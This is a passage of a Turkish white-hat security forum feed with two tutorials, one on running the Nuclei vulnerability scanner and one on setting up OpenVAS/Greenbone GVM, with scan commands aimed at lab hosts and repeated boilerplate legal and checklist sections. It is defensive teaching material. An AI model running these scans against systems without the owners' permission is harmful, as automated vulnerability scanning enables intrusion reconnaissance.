TurkTeam white-hat bir topluluktur. Anlatılan teknikler eğitim, savunma ve izinli test içindir. Başkalarının sistemlerinde izinsiz tarama, sömürü, veri çalma veya "hack hizmeti" sunmak forum kurallarına ve TCK 243, 244, 245 maddelerine aykırıdır. Kendi laboratuvarınızı izolasyonla kurun; üretim verisi kullanmayın. Kaynaklardaki bağlantıları birincil referans kabul edin; bu yazı özet ve yol göstericidir, üretici duyurusunun yerini tutmaz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kişisel deneyim notu</span></span><br />
Ben benzer konuları işlerken önce resmi duyuruyu iki kez okuyup sonra labda en küçük yeniden üretilebilir adımı arıyorum. Yeniden üretemiyorsam bile envanter ve yama doğrulamasını aynı gün bitirmeye çalışıyorum. Siz de "bugün tek iş" diye bir satır seçin: ya yamayı uygulayın ya da etkilenen varlık olmadığını kanıtlayın. İkisi de geçerli kapanıştır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Okuma listesi</span></span><ul class="mycode_list"><li>Üretici / araştırmacı birincil yazısı (kaynakçada)<br />
</li>
<li>CISA KEV veya CERT duyurusu varsa o<br />
</li>
<li>Kendi iç runbook'unuzun ilgili maddesi<br />
</li>
</ul>
Üçünden fazlasını aynı anda açmak yerine birini bitirip not alın; aksi halde tab kaybı başlar.<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=328" target="_blank" title="">11-b01-nuclei.png</a> (Dosya Boyutu: 103.96 KB / İndirme Sayısı: 9)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=328" loading="lazy"  alt="[Resim: attachment.php?aid=328]" class="mycode_img" /></div>
<br />
Selam,<br />
<br />
Nuclei, ProjectDiscovery'nin şablon tabanlı tarayıcısı. CVE, misconfig, exposure... YAML şablonlarla hızlı ve tekrarlanabilir. Bu yazıda resmi dokümantasyona dayanarak izinli labda ilk koşumu, filtreleri ve rate-limit'i anlatıyorum. İnternette rastgele tarama yok.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kurulum (özet)</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Go kurulu ortamda
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -version
nuclei -update-templates</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">İlk koşular</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Tek hedef (kendi labınız)
nuclei -u https://dvwa.lab.local
# Liste
nuclei -l targets.txt -severity critical,high -o findings.txt
# Belirli dizin / etiket
nuclei -u https://juice.lab.local -t http/cves/ -tags cve</code></div></div><br />
Varsayılan şablonların bir kısmı .nuclei-ignore ile kapalıdır; headless/fuzz/code şablonları ilgili bayrak olmadan çalışmaz. Bu, yanlışlıkla agresif taramayı azaltır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Filtreler</span></span><ul class="mycode_list"><li>-tags cve<br />
</li>
<li>-severity critical,high<br />
</li>
<li>-author ...<br />
</li>
<li>-tc ile DSL koşulları (ör. contains(tags,'ssrf'))<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Hız ve nezaket</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nuclei -l targets.txt -rate-limit 50 -c 10 -bulk-size 10 -H "X-BugBounty: lab-test"</code></div></div>rate-limit global tavanı belirler. Bug bounty'de programın trafik tanımlama başlığını ekleyin. Interactsh OAST şablonları için -ni ile kapatabilirsiniz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">CI notu</span></span><br />
Şablonları pin'leyin; her pipeline'da "latest" çekmek sürpriz üretir. Sonuçları JSONL/SARIF export edip issue tracker'a bağlayabilirsiniz (-rc). Passive modda kaydedilmiş HTTP yanıtları üzerinde de koşu mümkün.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal uyarı</span></span><br />
Yalnızca yazılı izinli kapsam. TCK 243-245. Nuclei bir otomasyon silahıdır; kapsam dışına çıkmayın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li><a href="https://docs.projectdiscovery.io/opensource/nuclei/running" target="_blank" rel="noopener" class="mycode_url">https://docs.projectdiscovery.io/opensou...ei/running</a><br />
</li>
<li><a href="https://github.com/projectdiscovery/nuclei-templates" target="_blank" rel="noopener" class="mycode_url">https://github.com/projectdiscovery/nuclei-templates</a><br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Şablon yazma notu</span></span><br />
Kendi iç ürününüz için küçük bir HTTP matcher şablonu yazmak, genel CVE şablonundan daha değerlidir. id, info.severity, matchers-condition alanlarını temiz tutun; false positive'i labda eleyin. İmzasız şablon politikasını (-dut) bilinçli seçin.<br />
<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Uygulamada sık gördüğüm hatalar</span></span><br />
Birçok ekip yamayı "planlandı" diye işaretleyip internete açık yüzeyde günlerce bekletiyor. İkinci sık hata: yalnızca CVE numarasına bakıp zincir etkisini görmemek. Üçüncü hata: yama sonrası log ve dosya bütünlüğüne bakmamak; oysa yama öncesi sömürü olmuş olabilir. Bu üç noktayı kendi kontrol listenize eklemenizi öneririm.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Ekip içi iletişim şablonu</span></span><br />
Yönetime veya müşteriye yazarken teknik jargonu azaltın: hangi varlık etkilendi, internete açık mı, yama var mı, geçici azaltma ne, doğrulama nasıl yapılacak. Tek paragrafta risk + eylem + sahiplik yazmak, uzun CVE özetinden daha hızlı karar aldırır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Lab not defteri</span></span><br />
Bu konuyu kendi defterime şu başlıklarla işliyorum: tarih, kaynak URL, etkilenen ürün/sürüm, internete açık mı, yama komutu, geri alma planı, IOC listesi, kime haber verildi. Siz de benzer basit bir şablon tutarsanız bir ay sonra "ne yapmıştık?" sorusu cevapsız kalmaz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">İzleme ve doğrulama</span></span><br />
Değişiklikten sonra en az bir negatif ve bir pozitif kontrol tanımlayın. Negatif: alarm boş yere düşmemeli. Pozitif: bilinen kötü örneği veya beklenen log satırını yakalamalı. İkisini de kaydedin; aksi halde "sanırım düzeldi" ile yetinirsiniz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sonuç</span></span><br />
Özetle: kaynağı okuyun, kendi envanterinize bağlayın, yama veya azaltmayı uygulayın, sonra doğrulayın. TurkTeam'de yorumlarda kendi ortamınızdan (ürün adı ve sürüm yeter, hassas IP yazmayın) kısa deneyim paylaşırsanız herkes faydalanır.<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Adım adım kontrol listesi (kopyala-yapıştır)</span></span><br />
<ol type="1" class="mycode_list"><li>Kaynak duyuruyu ve varsa üretici güvenlik sayfasını arşivleyin (PDF/HTML).<br />
</li>
<li>Envanterde etkilenen ürün var mı diye CMDB / agent raporu / netscan ile bakın.<br />
</li>
<li>İnternete açık mı, yoksa yalnızca iç ağda mı? Buna göre SLA seçin.<br />
</li>
<li>Yama veya yapılandırma azaltmasını stagingde deneyin.<br />
</li>
<li>Üretim penceresinde uygulayın; değişiklik kaydı açın.<br />
</li>
<li>Servis sağlık kontrolü + log doğrulaması yapın.<br />
</li>
<li>Gerekliyse IOC avı veya compromise assessment planlayın.<br />
</li>
<li>Kapanış notunu yazın: sürüm, tarih, kim onayladı.<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sık sorulanlar</span></span><br />
<span style="font-weight: bold;" class="mycode_b">Sadece okumak yeter mi?</span> Hayır. Okuduktan sonra envanter satırına bağlanmayan bilgi operasyonel değildir.<br />
<span style="font-weight: bold;" class="mycode_b">PoC çalıştırmalı mıyım?</span> Yalnızca izole lab ve yazılı izinle. İnternette rastgele deneme hem etik dışı hem yasadışı olabilir.<br />
<span style="font-weight: bold;" class="mycode_b">WAF / EDR tek başına kurtarır mı?</span> Katmanlı savunma işe yarar ama yamanın yerini tutmaz; özellikle kimlik doğrulamasız RCE sınıflarında.<br />
<span style="font-weight: bold;" class="mycode_b">Ne zaman yönetime çıkmalıyım?</span> İnternete açık kritik yüzey, aktif sömürü istihbaratı veya veri sızıntısı şüphesi varsa gecikmeden.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Örnek komut defteri</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Tarih damgası ve ortam notu
date -Is
hostnamectl 2&gt;/dev/null | head -5 || true
# Ağ dinleme özeti (lab)
ss -lntp | head -30
# Son reboot / güncelleme ipucu (systemd)
who -b 2&gt;/dev/null || true</code></div></div>Bu komutlar tanı koymaz; değişiklik öncesi/sonrası basline almak için kullanın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">İlgili TurkTeam bölümleri</span></span><br />
Bu yazıyı okuduktan sonra aynı kategorideki komşu konulara ve Soru-Cevap bölümüne kendi lab çıktınızı (hassas veri olmadan) taşıyabilirsiniz. Kısa ekran görüntüsü veya komut çıktısı, uzun teoriden daha çok işe yarar.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kapanış ve yasal çerçeve</span></span><br />
TurkTeam white-hat bir topluluktur. Anlatılan teknikler eğitim, savunma ve izinli test içindir. Başkalarının sistemlerinde izinsiz tarama, sömürü, veri çalma veya "hack hizmeti" sunmak forum kurallarına ve TCK 243, 244, 245 maddelerine aykırıdır. Kendi laboratuvarınızı izolasyonla kurun; üretim verisi kullanmayın. Kaynaklardaki bağlantıları birincil referans kabul edin; bu yazı özet ve yol göstericidir, üretici duyurusunun yerini tutmaz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kişisel deneyim notu</span></span><br />
Ben benzer konuları işlerken önce resmi duyuruyu iki kez okuyup sonra labda en küçük yeniden üretilebilir adımı arıyorum. Yeniden üretemiyorsam bile envanter ve yama doğrulamasını aynı gün bitirmeye çalışıyorum. Siz de "bugün tek iş" diye bir satır seçin: ya yamayı uygulayın ya da etkilenen varlık olmadığını kanıtlayın. İkisi de geçerli kapanıştır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Okuma listesi</span></span><ul class="mycode_list"><li>Üretici / araştırmacı birincil yazısı (kaynakçada)<br />
</li>
<li>CISA KEV veya CERT duyurusu varsa o<br />
</li>
<li>Kendi iç runbook'unuzun ilgili maddesi<br />
</li>
</ul>
Üçünden fazlasını aynı anda açmak yerine birini bitirip not alın; aksi halde tab kaybı başlar.<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=328" target="_blank" title="">11-b01-nuclei.png</a> (Dosya Boyutu: 103.96 KB / İndirme Sayısı: 9)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[OpenVAS / Greenbone ile İlk İzinli Tarama: Kurulum ve Rapor Okuma]]></title>
			<link>https://www.turkteam.org/konu-openvas-greenbone-ile-ilk-izinli-tarama-kurulum-ve-rapor-okuma.html</link>
			<pubDate>Mon, 19 Oct 2026 00:44:58 +0300</pubDate>
			<dc:creator><![CDATA[<a href="https://www.turkteam.org/member.php?action=profile&uid=4">KulTigin</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.turkteam.org/konu-openvas-greenbone-ile-ilk-izinli-tarama-kurulum-ve-rapor-okuma.html</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=267" loading="lazy"  alt="[Resim: attachment.php?aid=267]" class="mycode_img" /></div>
<br />
Selamlar,<br />
<br />
Açık kaynak zafiyet tarayıcı denince akla hâlâ OpenVAS geliyor; proje bugün Greenbone Community Edition / GVM çatısı altında. Bu yazıda ev labımda GVM'i ayağa kaldırıp ilk izinli taramayı çalıştırma ve raporu okuma notlarımı paylaşıyorum. Hedef yalnızca kendi VM'lerim.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Mimariyi kısaca tanıyın</span></span><ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">gvmd</span>: yönetici daemon<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">ospd-openvas</span>: tarayıcı sarmalayıcı<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">openvas-scanner</span>: asıl motor<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">gsad</span>: web arayüzü (Greenbone Security Assistant)<br />
</li>
<li>Feed'ler: NVT, SCAP, CERT — kalite bunların güncelliğine bağlı<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kurulum (Docker ile pratik yol)</span></span><br />
Resmi Greenbone community container dokümantasyonunu takip etmek, kaynak derlemekten çok daha az acılı. Labımda docker compose ile ayağa kaldırdım; ilk feed senkronu uzun sürer (saat düzeyinde olabilir). Sabır şart.<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Örnek: feed durumunu kontrol (kuruluma göre komut değişir)
docker compose ps
# Web arayüzü genelde https://localhost:9392</code></div></div>İlk girişten sonra varsayılan parolayı değiştirin; arayüzü internete açmayın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">İlk hedef ve görev</span></span><br />
<ol type="1" class="mycode_list"><li>Configuration &gt; Targets: lab IP veya CIDR (ör. 10.10.10.0/28)<br />
</li>
<li>Credentials (opsiyonel): SSH/SMB kimliği verirseniz authenticated scan derinleşir<br />
</li>
<li>Tasks &gt; New Task: tarama profili seçin<br />
</li>
</ol>
Profil seçimi:<ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Full and fast</span>: günlük lab için dengeli<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Discovery</span>: yalnızca keşif<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Full and very deep</span>: uzun ve gürültülü; bilinçli kullanın<br />
</li>
</ul>
<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=268" loading="lazy"  alt="[Resim: attachment.php?aid=268]" class="mycode_img" /></div>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Raporu okumak</span></span><br />
Sonuçlarda CVSS skoru, QOD (Quality of Detection) ve CVE listesi gelir. Pratik filtrelerim:<ul class="mycode_list"><li>Önce QOD'u yüksek + CVSS kritik/high olanlar<br />
</li>
<li>Sonra "False Positive" işaretleme disiplini (yoksa bir sonraki taramada aynı gürültü)<br />
</li>
<li>CVE'yi NVD ve üretici bülteniyle doğrula; tarayıcı yanlış pozitif üretebilir<br />
</li>
<li>Authenticated bulgular (eksik yama, zayıf cipher) genelde daha aksiyoneldir<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">CLI ile hızlı bakış</span></span><br />
Ortamınıza göre gvm-cli / omp benzeri araçlarla görev başlatılabilir. Önemli olan otomasyonda kimlik bilgilerini düz metin dosyada bırakmamaktır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sınırlar: tarayıcı pentest değildir</span></span><br />
GVM bilinen imzaları arar. İş mantığı açıkları, zincirleme exploit, fiziksel güvenlik bu aracın işi değildir. Raporu "otomatik bulgu listesi" olarak görün; pentest metodolojisinin keşif/zafiyet analizi aşamasına girdi sağlar.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Performans ipuçları</span></span><ul class="mycode_list"><li>Feed güncellemesini geceye bırakın<br />
</li>
<li>Eşzamanlı hedef sayısını lab kaynaklarına göre sınırlayın<br />
</li>
<li>Firewall'da tarayıcı IP'sini allowlist'e almak (izinli pentestte) yanlış pozitif düşürür<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li>Greenbone Community Documentation<br />
</li>
<li>OpenVAS / GVM GitHub org<br />
</li>
<li>NIST NVD (CVE doğrulama)<br />
</li>
</ul>
<br />
Siz feed senkronunda en çok hangi adımda takıldınız? Container log'unda gördüğünüz tipik hataları da yazabilirsiniz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Authenticated scan değeri</span></span><br />
Kimliksiz tarama çoğunlukla sürüm ve port bulur. SSH/WinRM/SMB hesabı verdiğinizde eksik yama, yerel kullanıcı politikası, zayıf servis yapılandırması çıkar. Labda ayrı bir "scanner" hesabı açın; domain admin vermeyin. Başarıyla giriş yapılamazsa rapor "auth failed" diye yalan yanlış critical üretmesin diye görev logunu kontrol edin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Raporu iş biletleme</span></span><br />
CSV/XML dışa aktarıp her kritik CVE için: varlık sahibi, yama penceresi, geçici mitigeasyon (WAF imzası, port kapatma). Tarayıcı skoru tek başına öncelik değildir; internete açık + exploit public ise yukarı çekin.<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Doğrulama senaryosu</span></span><br />
Bu konuyla ilgili ek bir kontrol: değişikliği yaptıktan sonra en az bir negatif test ve bir pozitif test tanımlayın. Negatif test 'alarm boşyere düşmemeli', pozitif test 'bilinen kötü örneği yakalamalı' der. İkisini de kaydedin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Lab disiplini</span></span><br />
Ortamlar arasında (lab, staging, production) aynı yapılandırmayı kör kopyalamayın. Adresler, sertifikalar ve kimlikler farklıdır. Şablon kullanın, değerleri envanterden doldurun.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Runbook'a taşımak</span></span><br />
İlgili log ve kanıtları olaydan sonra en az kurum politikasının öngördüğü süre kadar saklayın. Disk dolunca en eski güvenlik logunu silmek klasik hatadır; ayrı retention politikası tanımlayın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Ölçüm ve alarm sağlığı</span></span><br />
Yanlış pozitifleri susturmak ile körleşmek arasındaki çizgi incedir. Suppress kuralına gerekçe ve gözden geçirme tarihi yazın. Süresi dolunca yeniden değerlendirin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kapsam ve izin hatırlatması</span></span><br />
Bu adımları change ticket olmadan production'da uygulamayın. Küçük görünen bir audit ayarı bile uygulama uyumluluğunu bozabilir. Önce staging, sonra kontrollü yayılım.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yedekleme ve geri dönüş</span></span><br />
Yılda en az iki kez masabaşı tatbikatı yapın: 'bu kontrol kırılırsa kim fark eder?' sorusunu sorunsuz cevaplayabilmelisiniz. Tatbikat notlarını wiki'ye ekleyin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Log saklama süresi</span></span><br />
Araç çıktısını ekran görüntüsü olarak bırakmak yerine makinece okunur formatta (JSON/CSV) arşivleyin. İki yıl sonraki denetimde arama kolaylaşır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yanlış pozitif yönetimi</span></span><br />
Yetki ayrımı: bu kontrolü yapılandıran kişi ile alarmı triaj eden kişi mümkünse farklı olsun. Küçük ekiplerde olmasa bile en azından farklı hesap kullanın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Değişiklik yönetimi ile ilişki</span></span><br />
Sürüüm yükseltmelerinden sonra regresyon testi yapın. 'Aynı config' yeni sürümde farklı varsayılanlara bağlanmış olabilir. Release note'daki breaking change bölümünü okuyun.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Eğitim tatbikatı</span></span><br />
Dış bağımlılık (feed, imza seti, konteyner imajı) için bütünlük doğrulaması yapın. İmzasız feed ile gelen kural seti tedarik zinciri riskidir.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Doğrulama senaryosu</span></span><br />
Bu konuyla ilgili ek bir kontrol: değişikliği yaptıktan sonra en az bir negatif test ve bir pozitif test tanımlayın. Negatif test 'alarm boşyere düşmemeli', pozitif test 'bilinen kötü örneği yakalamalı' der. İkisini de kaydedin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Lab disiplini</span></span><br />
Ortamlar arasında (lab, staging, production) aynı yapılandırmayı kör kopyalamayın. Adresler, sertifikalar ve kimlikler farklıdır. Şablon kullanın, değerleri envanterden doldurun.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Runbook'a taşımak</span></span><br />
İlgili log ve kanıtları olaydan sonra en az kurum politikasının öngördüğü süre kadar saklayın. Disk dolunca en eski güvenlik logunu silmek klasik hatadır; ayrı retention politikası tanımlayın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Ölçüm ve alarm sağlığı</span></span><br />
Yanlış pozitifleri susturmak ile körleşmek arasındaki çizgi incedir. Suppress kuralına gerekçe ve gözden geçirme tarihi yazın. Süresi dolunca yeniden değerlendirin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Uygulama notu</span></span><br />
Bu rehberdeki komutları olduğu gibi kopyalamadan önce yolları, arayüz adlarını ve IP adreslerini kendi ortamınıza göre değiştirin. Dağıtım farkları (Debian/Ubuntu/RHEL/Windows sunucu) çıktı biçimini değiştirebilir; man sayfası ve resmi dokümantasyon birincil kaynaktır. Bir adım beklediğiniz sonucu vermezse önce yetki (sudo/Administrator), sonra sürüm, en son da yapılandırma dosyası sırasıyla bakın. Değişiklikleri geri almak için snapshot veya yapılandırma yönetimi (Ansible/Git) kullanın; 'elle bir dokundum' geçmişi denetimde kaybolur. Alarm ve log örneklerini ekip kanalında paylaşırken kişisel veri ve iç IP şemasını maskeleyin.<br />
<span style="font-style: italic;" class="mycode_i">Yasal uyarı: Bu içerik eğitim amaçlıdır. Anlatılanları yalnızca kendi sistemlerinizde veya yazılı izin aldığınız sistemlerde uygulayın. Yetkisiz erişim ve sistemlere müdahale 5237 sayılı TCK'nın 243, 244 ve 245. maddeleri kapsamında suçtur.</span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=267" target="_blank" title="">100-n07-f2fc28.png</a> (Dosya Boyutu: 61.58 KB / İndirme Sayısı: 12)
<!-- end: postbit_attachments_attachment --><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=268" target="_blank" title="">n07-inner.png</a> (Dosya Boyutu: 19.72 KB / İndirme Sayısı: 11)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=267" loading="lazy"  alt="[Resim: attachment.php?aid=267]" class="mycode_img" /></div>
<br />
Selamlar,<br />
<br />
Açık kaynak zafiyet tarayıcı denince akla hâlâ OpenVAS geliyor; proje bugün Greenbone Community Edition / GVM çatısı altında. Bu yazıda ev labımda GVM'i ayağa kaldırıp ilk izinli taramayı çalıştırma ve raporu okuma notlarımı paylaşıyorum. Hedef yalnızca kendi VM'lerim.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Mimariyi kısaca tanıyın</span></span><ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">gvmd</span>: yönetici daemon<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">ospd-openvas</span>: tarayıcı sarmalayıcı<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">openvas-scanner</span>: asıl motor<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">gsad</span>: web arayüzü (Greenbone Security Assistant)<br />
</li>
<li>Feed'ler: NVT, SCAP, CERT — kalite bunların güncelliğine bağlı<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kurulum (Docker ile pratik yol)</span></span><br />
Resmi Greenbone community container dokümantasyonunu takip etmek, kaynak derlemekten çok daha az acılı. Labımda docker compose ile ayağa kaldırdım; ilk feed senkronu uzun sürer (saat düzeyinde olabilir). Sabır şart.<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Örnek: feed durumunu kontrol (kuruluma göre komut değişir)
docker compose ps
# Web arayüzü genelde https://localhost:9392</code></div></div>İlk girişten sonra varsayılan parolayı değiştirin; arayüzü internete açmayın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">İlk hedef ve görev</span></span><br />
<ol type="1" class="mycode_list"><li>Configuration &gt; Targets: lab IP veya CIDR (ör. 10.10.10.0/28)<br />
</li>
<li>Credentials (opsiyonel): SSH/SMB kimliği verirseniz authenticated scan derinleşir<br />
</li>
<li>Tasks &gt; New Task: tarama profili seçin<br />
</li>
</ol>
Profil seçimi:<ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Full and fast</span>: günlük lab için dengeli<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Discovery</span>: yalnızca keşif<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Full and very deep</span>: uzun ve gürültülü; bilinçli kullanın<br />
</li>
</ul>
<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=268" loading="lazy"  alt="[Resim: attachment.php?aid=268]" class="mycode_img" /></div>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Raporu okumak</span></span><br />
Sonuçlarda CVSS skoru, QOD (Quality of Detection) ve CVE listesi gelir. Pratik filtrelerim:<ul class="mycode_list"><li>Önce QOD'u yüksek + CVSS kritik/high olanlar<br />
</li>
<li>Sonra "False Positive" işaretleme disiplini (yoksa bir sonraki taramada aynı gürültü)<br />
</li>
<li>CVE'yi NVD ve üretici bülteniyle doğrula; tarayıcı yanlış pozitif üretebilir<br />
</li>
<li>Authenticated bulgular (eksik yama, zayıf cipher) genelde daha aksiyoneldir<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">CLI ile hızlı bakış</span></span><br />
Ortamınıza göre gvm-cli / omp benzeri araçlarla görev başlatılabilir. Önemli olan otomasyonda kimlik bilgilerini düz metin dosyada bırakmamaktır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sınırlar: tarayıcı pentest değildir</span></span><br />
GVM bilinen imzaları arar. İş mantığı açıkları, zincirleme exploit, fiziksel güvenlik bu aracın işi değildir. Raporu "otomatik bulgu listesi" olarak görün; pentest metodolojisinin keşif/zafiyet analizi aşamasına girdi sağlar.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Performans ipuçları</span></span><ul class="mycode_list"><li>Feed güncellemesini geceye bırakın<br />
</li>
<li>Eşzamanlı hedef sayısını lab kaynaklarına göre sınırlayın<br />
</li>
<li>Firewall'da tarayıcı IP'sini allowlist'e almak (izinli pentestte) yanlış pozitif düşürür<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li>Greenbone Community Documentation<br />
</li>
<li>OpenVAS / GVM GitHub org<br />
</li>
<li>NIST NVD (CVE doğrulama)<br />
</li>
</ul>
<br />
Siz feed senkronunda en çok hangi adımda takıldınız? Container log'unda gördüğünüz tipik hataları da yazabilirsiniz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Authenticated scan değeri</span></span><br />
